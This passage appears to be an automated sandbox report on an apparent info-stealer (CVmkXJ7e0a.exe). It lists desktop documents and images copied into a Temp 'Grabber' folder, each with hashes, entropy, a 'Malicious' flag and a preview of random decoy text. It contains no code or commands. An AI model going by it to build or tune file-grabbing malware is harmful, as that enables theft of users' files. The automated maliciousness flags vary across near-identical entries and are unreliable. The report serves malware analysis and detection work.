                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\EIVQSAOTAQ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.692024230831571
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
                                                                                                                                                                          MD5:086908C2D2FAA8C9284EAB6D70682A47
                                                                                                                                                                          SHA1:1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
                                                                                                                                                                          SHA-256:40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
                                                                                                                                                                          SHA-512:02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690071120548773
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
                                                                                                                                                                          MD5:8F49644C9029260CF4D4802C90BA5CED
                                                                                                                                                                          SHA1:0A49DD925EF88BDEA0737A4151625525E247D315
                                                                                                                                                                          SHA-256:C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
                                                                                                                                                                          SHA-512:CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.697358951122591
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
                                                                                                                                                                          MD5:244A1B624BD2C9C3A0D660425CB1F3C6
                                                                                                                                                                          SHA1:FB6C19991CC49A27F0277F54D88B4522F479BE5F
                                                                                                                                                                          SHA-256:E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
                                                                                                                                                                          SHA-512:9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\JDDHMPCDUJ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.687055908915499
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
                                                                                                                                                                          MD5:94EDB575C55407C555A3F710DF2A8CB3
                                                                                                                                                                          SHA1:3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
                                                                                                                                                                          SHA-256:DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
                                                                                                                                                                          SHA-512:F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\DUUDTUBZFW.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:true
